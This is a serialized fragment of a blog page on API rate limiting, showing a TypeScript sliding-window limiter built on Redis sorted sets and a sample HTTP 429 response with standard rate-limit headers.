}\n}\n","typescript",[22,1233,1234,1249,1253,1283,1287,1335,1354,1380,1397,1401,1406,1423,1428,1445,1450,1460,1465,1499,1504,1514,1519,1540,1579,1584,1599,1608,1618,1628,1657,1663,1668,1673,1681,1691,1709,1718,1723],{"__ignoreMap":20},[25,1235,1236,1240,1243,1246],{"class":27,"line":28},[25,1237,1239],{"class":1238},"szBVR","import",[25,1241,1242],{"class":411}," Redis ",[25,1244,1245],{"class":1238},"from",[25,1247,1248],{"class":437}," 'ioredis'\n",[25,1250,1251],{"class":27,"line":34},[25,1252,349],{"emptyLinePlaceholder":293},[25,1254,1255,1258,1261,1264,1267,1271,1274,1277,1280],{"class":27,"line":40},[25,1256,1257],{"class":1238},"const",[25,1259,1260],{"class":417}," redis",[25,1262,1263],{"class":1238}," =",[25,1265,1266],{"class":1238}," new",[25,1268,1270],{"class":1269},"sScJk"," Redis",[25,1272,1273],{"class":411},"(process.env.",[25,1275,1276],{"class":417},"REDIS_URL",[25,1278,1279],{"class":1238},"!",[25,1281,1282],{"class":411},")\n",[25,1284,1285],{"class":27,"line":169},[25,1286,349],{"emptyLinePlaceholder":293},[25,1288,1289,1292,1295,1298,1301,1304,1308,1310,1313,1315,1318,1320,1323,1325,1328,1330,1332],{"class":27,"line":175},[25,1290,1291],{"class":1238},"export",[25,1293,1294],{"class":1238}," async",[25,1296,1297],{"class":1238}," function",[25,1299,1300],{"class":1269}," checkRateLimit",[25,1302,1303],{"class":411},"(",[25,1305,1307],{"class":1306},"s4XuR","identifier",[25,1309,75],{"class":1238},[25,1311,1312],{"class":417}," string",[25,1314,128],{"class":411},[25,1316,1317],{"class":1306},"limit",[25,1319,1263],{"class":1238},[25,1321,1322],{"class":417}," 60",[25,1324,128],{"class":411},[25,1326,1327],{"class":1306},"windowInSeconds",[25,1329,1263],{"class":1238},[25,1331,1322],{"class":417},[25,1333,1334],{"class":411},") {\n",[25,1336,1337,1340,1343,1345,1348,1351],{"class":27,"line":181},[25,1338,1339],{"class":1238},"  const",[25,1341,1342],{"class":417}," now",[25,1344,1263],{"class":1238},[25,1346,1347],{"class":411}," Date.",[25,1349,1350],{"class":1269},"now",[25,1352,1353],{"class":411},"()\n",[25,1355,1356,1358,1361,1363,1366,1369,1372,1375,1378],{"class":27,"line":187},[25,1357,1339],{"class":1238},[25,1359,1360],{"class":417}," windowStart",[25,1362,1263],{"class":1238},[25,1364,1365],{"class":411}," now ",[25,1367,1368],{"class":1238},"-",[25,1370,1371],{"class":411}," (windowInSeconds ",[25,1373,1374],{"class":1238},"*",[25,1376,1377],{"class":417}," 1000",[25,1379,1282],{"class":411},[25,1381,1382,1384,1387,1389,1392,1394],{"class":27,"line":455},[25,1383,1339],{"class":1238},[25,1385,1386],{"class":417}," key",[25,1388,1263],{"class":1238},[25,1390,1391],{"class":437}," `ratelimit:${",[25,1393,1307],{"class":411},[25,1395,1396],{"class":437},"}`\n",[25,1398,1399],{"class":27,"line":460},[25,1400,349],{"emptyLinePlaceholder":293},[25,1402,1403],{"class":27,"line":472},[25,1404,1405],{"class":405},"  \u002F\u002F Atomic Redis Pipeline (Runs in a single round-trip)\n",[25,1407,1408,1410,1413,1415,1418,1421],{"class":27,"line":483},[25,1409,1339],{"class":1238},[25,1411,1412],{"class":417}," multi",[25,1414,1263],{"class":1238},[25,1416,1417],{"class":411}," redis.",[25,1419,1420],{"class":1269},"multi",[25,1422,1353],{"class":411},[25,1424,1425],{"class":27,"line":791},[25,1426,1427],{"class":405},"  \u002F\u002F 1. Remove all request timestamps older than the active window\n",[25,1429,1430,1433,1436,1439,1442],{"class":27,"line":796},[25,1431,1432],{"class":411},"  multi.",[25,1434,1435],{"class":1269},"zremrangebyscore",[25,1437,1438],{"class":411},"(key, ",[25,1440,1441],{"class":417},"0",[25,1443,1444],{"class":411},", windowStart)\n",[25,1446,1447],{"class":27,"line":807},[25,1448,1449],{"class":405},"  \u002F\u002F 2. Count requests currently in the active window\n",[25,1451,1452,1454,1457],{"class":27,"line":818},[25,1453,1432],{"class":411},[25,1455,1456],{"class":1269},"zcard",[25,1458,1459],{"class":411},"(key)\n",[25,1461,1462],{"class":27,"line":827},[25,1463,1464],{"class":405},"  \u002F\u002F 3. Add the current timestamp as a new request\n",[25,1466,1467,1469,1472,1475,1478,1480,1483,1486,1488,1491,1494,1497],{"class":27,"line":1009},[25,1468,1432],{"class":411},[25,1470,1471],{"class":1269},"zadd",[25,1473,1474],{"class":411},"(key, now, ",[25,1476,1477],{"class":437},"`${",[25,1479,1350],{"class":411},[25,1481,1482],{"class":437},"}-${",[25,1484,1485],{"class":411},"Math",[25,1487,112],{"class":437},[25,1489,1490],{"class":1269},"random",[25,1492,1493],{"class":437},"()",[25,1495,1496],{"class":437},"}`",[25,1498,1282],{"class":411},[25,1500,1501],{"class":27,"line":1015},[25,1502,1503],{"class":405},"  \u002F\u002F 4. Set key expiration to auto-clean idle users\n",[25,1505,1506,1508,1511],{"class":27,"line":1021},[25,1507,1432],{"class":411},[25,1509,1510],{"class":1269},"expire",[25,1512,1513],{"class":411},"(key, windowInSeconds)\n",[25,1515,1517],{"class":27,"line":1516},20,[25,1518,349],{"emptyLinePlaceholder":293},[25,1520,1522,1524,1527,1529,1532,1535,1538],{"class":27,"line":1521},21,[25,1523,1339],{"class":1238},[25,1525,1526],{"class":417}," results",[25,1528,1263],{"class":1238},[25,1530,1531],{"class":1238}," await",[25,1533,1534],{"class":411}," multi.",[25,1536,1537],{"class":1269},"exec",[25,1539,1353],{"class":411},[25,1541,1543,1545,1548,1550,1553,1556,1559,1561,1564,1567,1570,1573,1576],{"class":27,"line":1542},22,[25,1544,1339],{"class":1238},[25,1546,1547],{"class":417}," currentCount",[25,1549,1263],{"class":1238},[25,1551,1552],{"class":411}," (results?.[",[25,1554,1555],{"class":417},"1",[25,1557,1558],{"class":411},"]?.[",[25,1560,1555],{"class":417},[25,1562,1563],{"class":411},"] ",[25,1565,1566],{"class":1238},"as",[25,1568,1569],{"class":417}," number",[25,1571,1572],{"class":411},") ",[25,1574,1575],{"class":1238},"||",[25,1577,1578],{"class":417}," 0\n",[25,1580,1582],{"class":27,"line":1581},23,[25,1583,349],{"emptyLinePlaceholder":293},[25,1585,1587,1590,1593,1596],{"class":27,"line":1586},24,[25,1588,1589],{"class":1238},"  if",[25,1591,1592],{"class":411}," (currentCount ",[25,1594,1595],{"class":1238},">=",[25,1597,1598],{"class":411}," limit) {\n",[25,1600,1602,1605],{"class":27,"line":1601},25,[25,1603,1604],{"class":1238},"    return",[25,1606,1607],{"class":411}," {\n",[25,1609,1611,1614,1616],{"class":27,"line":1610},26,[25,1612,1613],{"class":411},"      allowed: ",[25,1615,424],{"class":417},[25,1617,427],{"class":411},[25,1619,1621,1624,1626],{"class":27,"line":1620},27,[25,1622,1623],{"class":411},"      remaining: ",[25,1625,1441],{"class":417},[25,1627,427],{"class":411},[25,1629,1631,1634,1637,1640,1642,1645,1647,1650,1652,1654],{"class":27,"line":1630},28,[25,1632,1633],{"class":411},"      retryAfter: Math.",[25,1635,1636],{"class":1269},"ceil",[25,1638,1639],{"class":411},"(windowInSeconds ",[25,1641,1368],{"class":1238},[25,1643,1644],{"class":411}," ((now ",[25,1646,1368],{"class":1238},[25,1648,1649],{"class":411}," windowStart) ",[25,1651,372],{"class":1238},[25,1653,1377],{"class":417},[25,1655,1656],{"class":411},"))\n",[25,1658,1660],{"class":27,"line":1659},29,[25,1661,1662],{"class":411},"    }\n",[25,1664,1666],{"class":27,"line":1665},30,[25,1667,1018],{"class":411},[25,1669,1671],{"class":27,"line":1670},31,[25,1672,349],{"emptyLinePlaceholder":293},[25,1674,1676,1679],{"class":27,"line":1675},32,[25,1677,1678],{"class":1238},"  return",[25,1680,1607],{"class":411},[25,1682,1684,1687,1689],{"class":27,"line":1683},33,[25,1685,1686],{"class":411},"    allowed: ",[25,1688,892],{"class":417},[25,1690,427],{"class":411},[25,1692,1694,1697,1699,1702,1704,1707],{"class":27,"line":1693},34,[25,1695,1696],{"class":411},"    remaining: limit ",[25,1698,1368],{"class":1238},[25,1700,1701],{"class":411}," currentCount ",[25,1703,1368],{"class":1238},[25,1705,1706],{"class":417}," 1",[25,1708,427],{"class":411},[25,1710,1712,1715],{"class":27,"line":1711},35,[25,1713,1714],{"class":411},"    retryAfter: ",[25,1716,1717],{"class":417},"0\n",[25,1719,1721],{"class":27,"line":1720},36,[25,1722,1018],{"class":411},[25,1724,1726],{"class":27,"line":1725},37,[25,1727,443],{"class":411},[60,1729],{},[63,1731,1733],{"id":1732},"_3-returning-standard-http-rate-limit-headers","3. Returning Standard HTTP Rate Limit Headers",[11,1735,1736],{},"Whenever your server answers a request, communicate rate limit states in the response headers (following IETF draft standards):",[15,1738,1740],{"className":147,"code":1739,"language":149,"meta":20,"style":20},"HTTP\u002F1.1 429 Too Many Requests\nRetry-After: 32\nX-RateLimit-Limit: 60\nX-RateLimit-Remaining: 0\nX-RateLimit-Reset: 1773489240\nContent-Type: application\u002Fjson\n\n{\n  \"error\": \"Too Many Requests\",\n  \"message\": \"Rate limit exceeded. Please retry in 32 seconds.\"\n}\n",[22,1741,1742,1747,1752,1757,1762,1767,1772,1776,1780,1785,1790],{"__ignoreMap":20},[25,1743,1744],{"class":27,"line":28},[25,1745,1746],{},"HTTP\u002F1.1 429 Too Many Requests\n",[25,1748,1749],{"class":27,"line":34},[25,1750,1751],{},"Retry-After: 32\n",[25,1753,1754],{"class":27,"line":40},[25,1755,1756],{},"X-RateLimit-Limit: 60\n",[25,1758,1759],{"class":27,"line":169},[25,1760,1761],{},"X-RateLimit-Remaining: 0\n",[25,1763,1764],{"class":27,"line":175},[25,1765,1766],{},"X-RateLimit-Reset: 1773489240\n",[25,1768,1769],{"class":27,"line":181},[25,1770,1771],{},"Content-Type: application\u002Fjson\n",[25,1773,1774],{"class":27,"line":187},[25,1775,349],{"emptyLinePlaceholder":293},[25,1777,1778],{"class":27,"line":455},[25,1779,412],{},[25,1781,1782],{"class":27,"line":460},[25,1783,1784],{},"  \"error\": \"Too Many Requests\",\n",[25,1786,1787],{"class":27,"line":472},[25,1788,1789],{},"  \"message\": \"Rate limit exceeded. Please retry in 32 seconds.\"\n",[25,1791,1792],{"class":27,"line":483},[25,1793,443],{},[11,1795,1796],{},"This ensures honest third-party API clients and mobile SDKs can automatically back off and retry without overwhelming your infrastructure.",[273,1798,1799],{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .s4XuR, html code.shiki .s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}",{"title":20,"searchDepth":34,"depth":34,"links":1801},[1802,1807,1808],{"id":1179,"depth":34,"text":1180,"children":1803},[1804,1805,1806],{"id":1183,"depth":40,"text":1184},{"id":1194,"depth":40,"text":1195},{"id":1209,"depth":40,"text":1210},{"id":1218,"depth":34,"text":1219},{"id":1732,"depth":34,"text":1733},"2026-09-14","Comparing rate-limiting algorithms to protect your backend against scrapers, credential stuffing, and bot spam with minimal latency overhead.",{},"\u002Fblog\u002Fen\u002Fapi-rate-limiting-redis",{"title":1155,"description":1810},"api-rate-limiting-redis","blog\u002Fen\u002Fapi-rate-limiting-redis",[1148,299,1817,1149,1818],"redis","performance","KXTsuQOwj895dkbCDObhyO_wOncRKtB2ufJbjc-AUyc",1792236099994]